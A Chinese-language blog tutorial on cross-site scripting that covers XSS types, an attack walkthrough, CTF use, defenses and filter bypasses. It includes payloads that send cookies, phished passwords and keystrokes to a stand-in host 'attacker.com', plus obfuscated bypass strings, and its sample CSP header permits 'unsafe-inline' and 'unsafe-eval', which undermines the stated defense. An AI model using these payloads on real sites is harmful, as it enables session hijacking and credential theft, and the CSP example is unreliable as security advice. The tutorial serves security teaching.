当前位置: 首页 > news >正文

XSS攻击(跨站脚本攻击)详解与实战

文章目录

    • 一、什么是XSS?
    • 二、XSS分类与场景
    • 三、XSS攻击实战流程
    • 四、CTF中的XSS利用
    • 五、XSS防御方案
    • 六、绕过过滤的常见技巧
    • 七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
    • 影响范围:所有访问受影响页面的用户。
    • 示例
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
      
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
    • 触发条件:用户需点击构造的恶意链接。
    • 示例
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
      
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景:通过location.hashdocument.write等动态修改DOM。

    • 示例

      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
      

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    <script>alert(1)</script>
    
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
    
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>
    

步骤4:键盘记录

  • 监听用户输入并回传数据:

    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>
    

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
      
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      <img src=x onerror="alert(1)">
      
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
      

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
      
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
      
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      Set-Cookie: session=abc123; HttpOnly; Secure
      
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    <ScRiPt>alert(1)</sCriPt>
    
  2. 编码绕过

    • HTML实体编码:

      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
      
    • JavaScript Unicode编码:

      \u0061\u006c\u0065\u0072\u0074(1)
      
  3. 利用标签属性

    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">
    

七、实战练习资源

  1. PortSwigger XSS Labs
    • 地址:https://portswigger.net/web-security/cross-site-scripting
  2. XSS挑战游戏
    • XSS Game(Google):https://xss-game.appspot.com
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

相关文章:

  • 零基础入门机器学习 -- 第五章决策树与随机森林
  • BSD协议栈:多播
  • Visual Basic语言的数据类型
  • Logo语言的图形用户界面
  • jar命令解压jar包及更新jar的配置文件
  • RTMP(Real-Time Messaging Protocol)
  • 网工项目理论1.11 网络出口设计
  • seata基本使用
  • 【Java】Mongodb
  • UI自动化教程 —— 元素定位技巧:精确找到你需要的页面元素
  • Kafka偏移量管理全攻略:从基础概念到高级操作实战
  • 如何在yolov8系列运行自己的数据集
  • NAT(网络地址转换)技术详解:网络安全渗透测试中的关键应用与防御策略
  • 嵌入式人工智能应用-第四章 决策树 6
  • PostgreSQL 创建数据库
  • 一个基于Spring Boot和Vue.js的web商城系统-邻家小铺
  • SyntaxError: invalid syntax
  • MYSQL中的性能调优方法
  • Mac 安装Ollama和llama3,本地部署LobeChat和刘皇叔聊三国
  • Rust编程语言入门教程(四)猜数游戏:一次猜测
  • 保利、北京建工联合体45.45亿元竞得北京海淀区宅地,溢价率11.95%
  • 中沙深化多领域合作,达成60余项共识
  • 当文徵明“相遇”莫奈:苏博将展“从拙政园到莫奈花园”
  • 视频|黎明:年轻人已经不相信爱情了吗?
  • 去年中企海外新增风电装机量5.4GW,亚太区域占比过半
  • 《中华人民共和国经济史(1949—1978年)》教材出版发行